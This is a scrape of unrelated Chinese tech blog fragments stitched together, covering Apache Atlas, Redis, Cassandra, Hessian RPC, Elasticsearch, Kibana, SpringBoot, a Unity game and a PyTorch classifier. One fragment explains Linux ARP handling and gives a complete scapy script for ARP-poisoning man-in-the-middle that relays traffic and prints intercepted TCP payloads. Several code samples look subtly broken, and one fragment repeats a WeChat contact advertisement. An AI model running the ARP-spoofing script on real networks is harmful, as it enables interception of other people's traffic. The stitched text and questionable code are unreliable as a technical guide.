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...的关键桥梁，通过发送JSON格式的数据来创建、读取、更新和删除Atlas中的实体对象。 元数据 , 元数据是对数据的数据，即关于数据的信息。在大数据环境中，元数据可以描述数据集的结构、来源、所有权、生命周期、安全性要求等多种属性。例如，在Apache Atlas中，一个Hive表的元数据可能包括表名、列名、表的创建时间、所属数据库、表的所有者以及表的权限信息等，这些信息有助于用户理解和管理实际的数据内容。 实体模型 , 在Apache Atlas中，实体模型是用来描述和管理不同类型的业务对象或IT组件的抽象框架。每个实体类型都有特定的一组属性和关系，比如Hive表实体类型就包含了名称、描述、所属数据库等属性。实体模型允许用户根据实际业务需求定义和扩展不同的实体类型，并通过实体之间的关联关系构建出丰富的元数据图谱。 访问控制列表（ACL） , 访问控制列表是一种安全机制，用于指定哪些用户或角色有权访问特定的系统资源或执行特定的操作。在Apache Atlas中，ACL用于管理用户的权限，确保只有具备足够权限的用户才能成功地执行诸如创建实体之类的操作。通过调整和配置ACL，管理员可以精细地控制各个用户或角色在Atlas平台上的操作权限，从而保障系统的安全性和数据的完整性。

...编程语言来实现，比如Python。 python from cassandra.cluster import Cluster from cassandra.auth import PlainTextAuthProvider auth_provider = PlainTextAuthProvider(username='your_username', password='your_password') cluster = Cluster(['127.0.0.1'], auth_provider=auth_provider) session = cluster.connect('your_keyspace') def monitor(): result = session.execute("SELECT monitor_changes('your_keyspace', 'orders')") for row in result: print(f"Order ID: {row['order_id']}, Status: {row['status']}") while True: monitor() 4.4 结论与展望 通过以上步骤，我们就成功地实现了在Cassandra中对数据的实时监控。当然啦，在实际操作中，咱们还得面对不少细碎的问题，比如说怎么处理错误啊，怎么优化性能啊之类的。不过，相信有了这些基础，你已经可以开始动手尝试了！ 希望这篇文章对你有所帮助，也欢迎你在实践过程中提出更多问题，我们一起探讨交流。

Redis在数据字典与微服务设计中的实践应用 1. 引言 在当今的软件开发领域，尤其是在构建高并发、高性能且具备可扩展性的微服务架构时，Redis以其独特的内存存储、高速读写和丰富的数据结构特性，成为我们解决复杂问题、优化系统性能的重要工具。这篇文儿，咱们就来唠唠Redis怎么摇身一变，成为一个超高效的数据字典储存法宝，并且在微服务设计这个大舞台上，它又是如何扮演着不可或缺的关键角色的。 2. Redis 不只是缓存 （1）Redis作为数据字典 想象一下，在日常开发过程中，我们经常需要维护一个全局共享的“数据字典”，它可能是各种静态配置信息，如权限列表、地区编码映射等。这些数据虽然不常变更，但查询频繁。利用Redis的哈希（Hash）数据结构，我们可以轻松实现这样的数据字典： python import redis r = redis.Redis(host='localhost', port=6379, db=0) 存储用户权限字典 r.hset('user:permissions', 'user1', '{"read": true, "write": false}') r.hset('user:permissions', 'user2', '{"read": true, "write": true}') 查询用户权限 user_permissions = r.hget('user:permissions', 'user1') print(user_permissions) 这段代码展示了如何使用Redis Hash存储并查询用户的权限字典，其读取速度远超传统数据库，极大地提高了系统的响应速度。 （2）Redis在微服务设计中的角色 在微服务架构中，各个服务之间往往需要进行数据共享或状态同步。Redis凭借其分布式锁、发布/订阅以及有序集合等功能，能够有效地协调多个微服务之间的交互，确保数据一致性： java import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.data.redis.core.script.DefaultRedisScript; // 使用Redis实现分布式锁 StringRedisTemplate template = new StringRedisTemplate(); String lockKey = "serviceLock"; Boolean lockAcquired = template.opsForValue().setIfAbsent(lockKey, "locked", 30, TimeUnit.SECONDS); if (lockAcquired) { try { // 执行核心业务逻辑... } finally { template.delete(lockKey); } } // 使用Redis Pub/Sub 实现服务间通信 template.convertAndSend("microservice-channel", "Service A sent a message"); 上述Java示例展现了Redis如何帮助微服务获取分布式锁以处理临界资源，以及通过发布/订阅模式实现实时消息通知，从而提升微服务间的协同效率。 3. Redis在微服务设计咨询中的思考与探索 当我们考虑将Redis融入微服务设计时，有几个关键点值得深入讨论： - 数据一致性与持久化：尽管Redis提供了RDB和AOF两种持久化方式，但在实际场景中，我们仍需根据业务需求权衡性能与数据安全，适时引入其他持久化手段。 - 服务解耦与扩展性：借助Redis Cluster支持的分片功能，可以轻松应对海量数据及高并发场景，同时有效实现微服务间的松耦合。 - 实时性与性能优化：对于实时性要求高的场景，例如排行榜更新、会话管理等，Redis的排序集合（Sorted Set）、流（Stream）等数据结构能显著提升系统性能。 - 监控与运维挑战：在大规模部署Redis时，要充分关注内存使用、网络延迟等问题，合理利用Redis提供的监控工具和指标，为微服务稳定运行提供有力保障。 综上所述，Redis凭借其强大的数据结构和高效的读写能力，不仅能够作为高性能的数据字典，更能在微服务设计中扮演重要角色。然而，这其实也意味着我们的设计思路得“更上一层楼”了。说白了，就是得在实际操作中不断摸索、改进，把Redis那些牛掰的优势，充分榨干、发挥到极致，才能搞定微服务架构下的各种复杂场景需求，让它们乖乖听话。

...!开发，它将Java对象序列化为XML或JSON格式，通过HTTP进行传输。其特点是序列化和反序列化速度快，适合对性能要求较高的场景。 1.2 HessianRPC的工作原理 HessianRPC的核心是HessianSerializer，它负责对象的序列化和反序列化。你在手机APP上点击那个神奇的“调用”按钮，它就像个小能手一样，瞬间通过网络把你的请求打包成一个小包裹，然后嗖的一下发送给服务器。服务器收到后，就像拆快递一样迅速处理那些方法，搞定一切后又会给客户端回复反馈，整个过程悄无声息又高效极了。 三、连接池的重要性 2.1 连接池的定义 连接池是一种复用资源的技术，用于管理和维护一个预先创建好的连接集合，当有新的请求时，从连接池中获取，使用完毕后归还，避免频繁创建和销毁连接带来的性能损耗。 2.2 连接池在HessianRPC中的作用 对于HessianRPC，连接池可以显著减少网络开销，特别是在高并发场景下，避免了频繁的TCP三次握手，提高了响应速度。不过嘛，我们要琢磨的是怎么恰当地摆弄那个连接池，别整得太过了反而浪费资源，这是接下来的头等大事。 四、连接池优化策略 3.1 连接池大小设置 - 理论上，连接池大小应根据系统的最大并发请求量来设定。要是设置得不够给力，咱们的新链接就可能像赶集似的不断涌现，让服务器压力山大；可要是设置得太过豪放，又会像个大胃王一样猛吞内存，资源紧张啊。 - 示例代码： java HessianProxyFactory factory = new HessianProxyFactory(); factory.setConnectionPoolSize(100); // 设置连接池大小为100 MyService service = (MyService) factory.create("http://example.com/api"); 3.2 连接超时和重试策略 - 针对网络不稳定的情况，我们需要设置合理的连接超时时间，并在超时后尝试重试。 - 示例代码： java factory.setConnectTimeout(5000); // 设置连接超时时间为5秒 factory.setRetryCount(3); // 设置最多重试次数为3次 3.3 连接池维护 - 定期检查连接池的状态，清理无用连接，防止连接老化导致性能下降。 - 示例代码（使用Apache HttpClient的PoolingHttpClientConnectionManager）： java CloseableHttpClient httpClient = HttpClients.custom() .setConnectionManager(new PoolingHttpClientConnectionManager()) .build(); 五、连接池优化实践与反思 4.1 实践案例 在实际项目中，我们可以通过监控系统的连接数、请求成功率等指标，结合业务场景调整连接池参数。例如，根据负载均衡器的流量数据动态调整连接池大小。 4.2 思考与挑战 尽管连接池优化有助于提高性能，但过度优化也可能带来复杂性。你知道吗，我们总是在找寻那个奇妙的平衡点，就是在提升功能强大度的同时，还能让代码像诗一样简洁，易读又易修，这事儿挺有意思的，对吧？ 六、结论 HessianRPC的连接池优化是一个持续的过程，需要根据具体环境和需求进行动态调整。要想真正摸透它的运作机制，还得把你实践经验的那套和实时监控的数据结合起来，这样咱才能找出那个最对路的项目优化妙招，懂吧？记住，优化不是目的，提升用户体验才是关键。希望这篇文章能帮助你更好地理解和应用HessianRPC连接池优化技术。

...L 8.0引入了新的JSON功能和窗口函数，使得在处理复杂关联查询时能更高效地获取所需数据，从而减轻应用程序层面的延迟加载压力。 综上所述，尽管MyBatis的延迟加载功能为开发者提供了便捷高效的手段，但在实际项目中，还需要结合最新的数据库技术动态以及具体的业务场景，灵活运用多种优化策略以达到最佳的数据访问效率。

...场景管理类，能偶根据Json文件生成场景物体，保存了实体预制体，还拥有一个静态List和静态方法用于运行时向场景中添加新实体 InteractionMI 用于处理单个实体无法处理或不属于单个实体的逻辑，包括： 幽灵追踪主角时获取角色位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑，方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态，播放受击动画，扣除血量并进入无敌状态，定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后，交由InteractionMI判断交互是否成功，返回交互信息，主角播放对应动画 武器逻辑 当主角获得武器后，主角身上保存武器的引用，与武器交互直接调用武器的对应方法（Drop(),Fire()) 结算逻辑 当主角HP小于等于0时，调用Scene的静态方法，请求场景结算 怪物 石像鬼 血量无限，没有受击逻辑，当检测组件检测到主角时，调用继承的Attack方法，攻击主角 幽灵 三种状态：die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关，用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内，如果在调用Damage对幽灵造成伤害 存在一个Box Collider，当玩家进入时，调用InteractionMI的方法，将InteractionMI保存的静态SwitchableLight引用置为自己，当玩家交互时这个引用不为null，则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时，调用InteractionMI的方法，使其内置的静态_slowDownCount计数加一，并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开，设置计时器5秒后调用InteractionMI的方法，使其内置的静态_slowDownCount计数减一，当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器，每三秒改变一次状态，当玩家进入，设置计时器每一秒对玩家造成一次伤害，当玩家离开，取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互，播放开宝箱动画，设置计时器1.2秒后根据预制体克隆一个武器，并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中，自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家，玩家获得武器的引用，自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时，若父物体不为空，设置自身刚体属性，设置速度使武器有抛出效果，设置计时器1秒后恢复到没有物理效果的状态，父物体置为空 Fire方法被调用，若能够开火，则生成并初始化一个子弹，生成时将保存的父物体的Transform给子弹，保证子弹能够向角色前方发射，开火后设置开火状态为不能开火，设置计时器0.5秒后恢复开火状态 当父物体信息为空，与其他交互逻辑类似，通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度，启动定时器1秒后若没有销毁则自动销毁，若碰撞到幽灵，对幽灵造成伤害，其他碰撞销毁自己 本篇文章为转载内容。原文链接：https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...py│ ├── json_utils.py│ ├── logger.py│ ├── misc.py│ └── utils.py├── args.py├── model.py├── transform.py├── garbage-classification-using-pytorch.py├── app_garbage.py data: 训练数据和验证数据、标签数据 checkpoint: 日志数据、模型文件、训练过程checkpoint中间数据 app_garbage.py：在线预测服务 garbage-classification-using-pytorch.py：训练模型 models：提供各种pre_trained_model ,例如：alexlet、densenet、resnet，resnext等 utils:提供各种工具类，例如；重新flask json 格式，日志工具类、效果评估 facebook: 提供facebook 分类器神奇的分类预测和数据预处理 analyzer: 数据分析和数据预处理模块 transform.py：通过pytorch 进行数据预处理 model.py: resnext101 模型集成以及调整、模型训练和验证函数封装 resnext101网络架构 pre_trained_model resnext101 网络架构原理 基于pytorch 数据处理、resnext101 模型分类预测 在线服务API 接口 垃圾分类-训练 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--lr 0.001 \--optimizer adam \--start_epoch 1 \--epochs 10 \--num_classes 40 model_name 模型名称 lr 学习率 optimizer 优化器 start_epoch 训练过程断点重新训练 num_classes 分类个数 垃圾分类-评估 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--evaluate \--resume checkpoint/checkpoint.pth.tar \--num_classes 40 model_name 模型名称 evaluate 模型评估 resume 指定checkpoint 文件路径，保存模型以及训练过程参数 垃圾分类-在线预测 python app_garbage.py \--model_name resnext101_32x16d \--resume checkpoint/garbage_resnext101_model_2_1111_4211.pth model_name 模型名称 resume 训练模型文件路径 模型预测 命令行验证和postman 方式验证 举例说明：命令行模式下预测 curl -X POST -F file=@cat.jpg http://ip:port/predict 最后，我们从0到1教大家掌握如何进行垃圾分类。通过本学习，让你彻底掌握AI图像分类技术在我们实际工作中的应用。 1. 你是什么垃圾？ 2. 告诉你，你是什么垃圾 3. 使用它告诉你，你是啥垃圾 本篇文章为转载内容。原文链接：https://blog.csdn.net/shenfuli/article/details/103008003。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...作用就是将IP地址，转换为MAC地址，类似操作系统中的MMU（内存管理单元），将虚拟地址，转换为物理地址。 其中邻居子系统相当于地址解析协议（IPv4的ARP协议，IPv6的ND(Neighbor discover)协议）的一个通用抽象，可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系，当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init，其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数，来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求，但是还未收到响应。如果经过一段时间后，还是没有收到响应，则查看发送请求数是否超过上限，如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间，未有到达目标的数据包，则转为NUD_STALE状态 NUD_STALE 在此状态，如果有用户准备发送数据，则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器，然后接受可到达确认，如果定时器过期之前，收到可到达确认，则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态，准备删除该neighbour 各种状态之间的切换，也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包，且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包，则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包，则分neighbour的状态进行讨论，但是通过分析发现，不论当前neighbour是处于何种状态（NUD_FAILD、NUD_NONE除外），则都会将状态切换成 NUD_STALE状态，且mac地址不相同时，则会切换到本次发送方的mac地址 当为ARP请求数据包，不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour，则不做任何处理。如果该neighbour存在，则将状态切换为NUD_REACHABLE，MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析，可以向受害主机A发送ARP请求数据包，其中请求包中将源IP地址，设置成为受害主机B的IP地址，这样，就会将主机A中的B的 MAC缓存，切换为我们的MAC地址。 同理，向B中发送ARP请求包，其中源IP地址为A的地址 然后，我们进行ARP数据包与IP数据包的中转，从而达到中间人攻击。 使用Python scapy包，实现中间人攻击： 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...late）。 json PUT _template/my_template { "index_patterns": ["my-index-"], "settings": { "number_of_shards": 1, "number_of_replicas": 1 }, "mappings": { "_source": { "enabled": true }, "properties": { "timestamp": { "type": "date" }, "message": { "type": "text" } } } } 上面这段代码定义了一个名为my_template的模板，适用于所有以my-index-开头的索引。这个模板里头设定了索引的分片数和副本数，还定义了两个字段：一个存时间戳叫timestamp，另一个存消息内容叫message。 4. 使用Logstash采集数据 现在我们有了Elasticsearch，也有了数据采集工具，接下来就是让它们协同工作。这里我们以Logstash为例，看看如何将日志数据采集到Elasticsearch中。 首先，你需要创建一个Logstash配置文件（.conf），指定输入源、过滤器和输出目标。 conf input { file { path => "/var/log/nginx/access.log" start_position => "beginning" } } filter { grok { match => { "message" => "%{COMBINEDAPACHELOG}" } } date { match => [ "timestamp", "dd/MMM/yyyy:HH:mm:ss Z" ] } } output { elasticsearch { hosts => ["localhost:9200"] index => "nginx-access-%{+YYYY.MM.dd}" } } 这段配置文件告诉Logstash从/var/log/nginx/access.log文件读取数据，使用Grok过滤器解析日志格式，然后将解析后的数据存入Elasticsearch中。这里的hosts参数指定了Elasticsearch的地址，index参数定义了索引的命名规则。 5. 实战演练 分析数据 最后，让我们来看看如何通过Elasticsearch查询和分析这些数据。好了，假设你已经把日志数据成功导入到了Elasticsearch里，现在你想看看最近一天内哪些网址被访问得最多。 bash GET /nginx-access-/_search { "size": 0, "aggs": { "top_pages": { "terms": { "field": "request", "size": 10 } } } } 这段查询语句会返回过去一天内访问量最高的10个URL。通过这种方式，你可以快速获取关键信息，从而做出相应的决策。 6. 总结与展望 通过这篇文章，我们学习了如何使用Elasticsearch异步采集非业务数据，并进行了简单的分析。这个过程让我们更懂用户的套路，还挖出了不少宝贝，帮我们更好地升级产品和服务。 当然，实际操作中可能会遇到各种问题和挑战，但只要保持耐心，不断实践和探索，相信你一定能够掌握这项技能。希望这篇教程能对你有所帮助，如果你有任何疑问或者建议，欢迎随时留言交流！ --- 好了，朋友们，今天的分享就到这里。希望你能从中获得灵感，开始你的Elasticsearch之旅。记住，技术的力量在于应用，让我们一起用它来创造更美好的世界吧！

...问题分析 1. 类型转换 首先，检查一下是不是类型转换的问题。SpringBoot在接收数据时，如果类型不匹配，可能会尝试将其转换为可接受的数据类型。比如说，假如你邮箱地址栏不小心输入了个纯数字“0”，当你想把它当成字符串来处理的时候，这家伙可能会调皮地变成一个空荡荡的啥都没有。 java // SpringBoot 部分 - 接收数据的Controller @PostMapping("/register") public ResponseEntity registerUser(@RequestBody Map formData) { String email = formData.get("email").toString(); // 如果email是数字0，这里会变成"" // ... } 2. 默认值 另一个可能的原因是，前端在发送数据前没有正确处理可能的空值或默认值。你知道吗，有时候在发邮件前，email这哥们儿可能还没人填，这时它就暂且是JavaScript里的那个神秘存在“undefined”。一到要变成JSON格式，它就自动变身为“null”，然后后端大哥看见了，贴心地给它换个零蛋。 3. 数据验证 SpringBoot的@RequestBody注解默认会对JSON数据进行有效性校验，如果数据不符合约定的格式，它可能被视作无效，从而转化为默认值。检查Model层是否定义了默认值规则。 java // Model层 public class User { private String email; // ...其他字段 @NotBlank(message = "Email cannot be blank") public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } } 四、解决策略 1. 前端校验 确保在发送数据之前对前端数据进行清理和验证，避免空值或非预期值被发送。 2. 明确数据类型 在Vue.js中，可以使用v-model.number或者v-bind:value配合计算属性，确保数据在发送前已转换为正确的类型。 3. 后端配置 SpringBoot可以配置Jackson或Gson等JSON库，设置@JsonInclude(JsonInclude.Include.NON_NULL)来忽略所有空值。 4. 异常处理 添加适当的异常处理，捕获可能的转换异常并提供有用的错误消息。 五、结论 解决这个问题的关键在于理解数据流的每个环节，从前端到后端，每一个可能的类型转换和验证步骤都需要仔细审查。你知道吗，有时候生活就像个惊喜包，比如说JavaScript那些隐藏的小秘密，但别急，咱们一步步找，那问题的源头准能被咱们揪出来！希望这篇文章能帮助你在遇到类似困境时，更好地定位和解决“0”问题，提升开发效率和用户体验。 --- 当然，实际的代码示例可能需要根据你的项目结构和配置进行调整，以上只是一个通用的指导框架。记住，遇到问题时，耐心地查阅文档，结合调试工具，往往能更快地找到答案。祝你在前端与后端的交互之旅中一帆风顺！

... 代码示例： json GET /orders/_search { "query": { "match": { "status": "completed" } } } 2.2 利用时间过滤器进行时间切片 时间过滤器允许我们根据时间范围来筛选数据。这对于分析特定时间段内的趋势非常有用。比如，如果你想要查看过去一周内所有的用户登录记录，你可以设置时间过滤器来限定这个范围。 代码示例： json GET /logs/_search { "query": { "range": { "@timestamp": { "gte": "now-7d/d", "lt": "now/d" } } } } 2.3 使用索引模式进行多角度数据切片 索引模式允许你根据不同的字段来创建视图，从而从不同角度观察数据。比如说，你有个用户信息的大台账，里面记录了各种用户的小秘密，比如他们的位置和年龄啥的。那你可以根据这些小秘密，弄出好几个不同的小窗口来看，这样就能更清楚地知道你的用户都分布在哪儿啦！ 代码示例： json PUT /users/_mapping { "properties": { "location": { "type": "geo_point" }, "age": { "type": "integer" } } } 2.4 利用可视化工具进行高级数据切片 Kibana的可视化工具（如图表、仪表板）提供了强大的数据可视化能力，使我们可以直观地看到数据之间的关系。比如说，你可以画个饼图来看看各种产品卖得咋样，比例多大；还可以画个时间序列图，看看每天的销售额是涨了还是跌了。 代码示例： 虽然直接通过API创建可视化对象不是最常见的方式，但你可以通过Kibana的界面来设计你的可视化，并将其导出为JSON格式。下面是一个简单的示例，展示了如何通过API创建一个简单的柱状图： json POST /api/saved_objects/visualization { "attributes": { "title": "Sales by Category", "visState": "{\"title\":\"Sales by Category\",\"type\":\"histogram\",\"params\":{\"addTimeMarker\":false,\"addTooltip\":true,\"addLegend\":true,\"addTimeAxis\":true,\"addDistributionBands\":false,\"scale\":\"linear\",\"mode\":\"stacked\",\"times\":[],\"yAxis\":{},\"xAxis\":{},\"grid\":{},\"waterfall\":{} },\"aggs\":[{\"id\":\"1\",\"enabled\":true,\"type\":\"count\",\"schema\":\"metric\",\"params\":{} },{\"id\":\"2\",\"enabled\":true,\"type\":\"terms\",\"schema\":\"segment\",\"params\":{\"field\":\"category\",\"size\":5,\"order\":\"desc\",\"orderBy\":\"1\"} }],\"listeners\":{} }", "uiStateJSON": "{}", "description": "", "version": 1, "kibanaSavedObjectMeta": { "searchSourceJSON": "{\"index\":\"sales\",\"filter\":[],\"highlight\":{},\"query\":{\"query_string\":{\"query\":\"\",\"analyze_wildcard\":true} }}" } }, "references": [], "migrationVersion": {}, "updated_at": "2023-09-28T00:00:00.000Z" } 3. 思考与实践 在实际操作中，数据切片并不仅仅是简单的过滤和查询，它还涉及到如何有效地组织和呈现数据。这就得咱们不停地试各种招儿，比如说用聚合函数搞更复杂的统计分析，或者搬出机器学习算法来预测未来的走向。每一次尝试都可能带来新的发现，让数据背后的故事更加生动有趣。 4. 结语 数据切片是数据分析中不可或缺的一部分，它帮助我们在海量数据中寻找有价值的信息。Kibana这家伙可真不赖，简直就是个数据分析神器，有了它，我们实现目标简直易如反掌！希望本文能为你提供一些灵感和思路，让你在数据分析的路上越走越远！ --- 以上就是本次关于如何在Kibana中实现数据切片的技术分享，希望能对你有所帮助。如果你有任何疑问或想了解更多内容，请随时留言讨论！

...。 我们不得不承认，python语言的迅速火爆，学习python的人越来越多，领域的就业竞争也越来越激烈。 我们都知道市面上有很多的python学习培训班，无论是线上的还是线下的，因为现在的社会发展速度非常快，加之今年疫情的影响，今年的就业形势非常严峻。在这样的情况下，很多人也就加入到了python的学习队伍中，同时也出现了许多培训机构。 但都说python的入门简单的，那我们还有必要去参加培训么？是不是自学就可以了呢？ 针对个人而言，参加培训还是自学，我们可以从这几个方面去考虑。 一、时间是否充裕 要先衡量一下我们每天可以投入学习的时间，是2个小时还是6个小时。比如作为职场在职人士，你有正式的工作要忙，没有太多的时间去自学。再比如你是个全职宝妈想要自学，那一定不比在校学生或者单身没有家庭负担的人时间充裕。最后，如果你的时间不是很紧张，并且又想快速的提高，最重要的是不怕吃苦，建议你可以联系维：762459510 ，那个真的很不错，很多人进步都很快，需要你不怕吃苦哦！大家可以去添加上看一下~ 二、自己是否有自制力 当我们有了充分的学习时间，我们还需要衡量一下，自己是否有自制力，没有良好的学习环境，我们也只能三天打鱼两天晒网，自学并不会有太好的成效。 三、是否可以制定系统的学习计划 自学时，我们通常会进行一些书籍的购买和线上免费的课程。免费的课程一般也只有体验课程，不会系统全面地进行讲解。而只是看书，那些晦涩难懂的语言，无人解释，看起来估计和天书差不多了。 四、自学了如何进行实践 python是一个需要学习一项技能后，马上就进行操作的语言，只有亲自的实践才能更快的学习精华。实践的课题我们应该从哪些地方找呢？ 如果以上都会成为你学习中的难点，那么我劝你最好还是去报个培训班来学习Python了。 幸运的是，我们身处信息时代，许多在线教育平台推出了由专业教师主讲的Python入门课程，注重实操，提升编程能力，自己动手就能写程序。最后，如果你的时间不是很紧张，并且又想快速的提高，最重要的是不怕吃苦，建议你可以联系维：762459510 ，那个真的很不错，很多人进步都很快，需要你不怕吃苦哦！大家可以去添加上看一下~ 写在最后，其实经过分析我们每个人心中也都有了答案，自学还是培训，首先需要确定自己的学习目标，是为了就业还是只是兴趣，时间是否充足。如果是想就业找工作，完全可以参加培训，培训最大的好处就是节省时间。节省时间最大的好处就是拥有比同龄人更多的竞争力，获得更多的机会。 自学的好处就是省钱，短期是节省了，损失了时间和机会。自学和培训对比，相同的起点和终点，同样能力的人付出的时间肯定不同。 如果是你，你会怎么选呢？ 本篇文章为转载内容。原文链接：https://blog.csdn.net/kj7762/article/details/119864246。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...s框架中利用JWT（JSON Web Token）令牌与OAuth2客户端授权决策构建策略决策树。对于那些对安全认证和授权机制超级感兴趣的朋友，这绝对是一趟不能错过的精彩之旅！ 首先，让我们快速了解一下Iris框架。Iris是一个用Go语言编写的Web应用开发框架，它以其高效、简洁和灵活著称。JWT和OAuth2可是现在最火的两种认证和授权协议，把它们结合起来就像是给开发者配上了超级英雄的装备，让他们能轻松打造出既安全又可以不断壮大的应用。 2. JWT与OAuth2 安全认证的双剑合璧 2.1 JWT：信任的传递者 JWT是一种开放标准（RFC 7519），它允许在各方之间安全地传输信息作为JSON对象。这种信息可以通过数字签名来验证其真实性。JWT主要有三种类型：签名的、加密的和签名+加密的。在咱们这个情况里，咱们主要用的是签名单点登录的那种JWT，这样就不用老依赖服务器来存东西，也能确认用户的身份了。 代码示例：生成JWT go package main import ( "github.com/kataras/iris/v12" jwt "github.com/appleboy/gin-jwt/v2" ) func main() { app := iris.New() // 创建JWT中间件 jwtMiddleware, _ := jwt.New(&jwt.GinJWTMiddleware{ Realm: "test zone", Key: []byte("secret key"), Timeout: time.Hour, MaxRefresh: time.Hour, IdentityKey: "id", }) // 定义登录路由 app.Post("/login", jwtMiddleware.LoginHandler) // 使用JWT中间件保护路由 app.Use(jwtMiddleware.MiddlewareFunc()) // 启动服务 app.Listen(":8080") } 2.2 OAuth2：授权的守护者 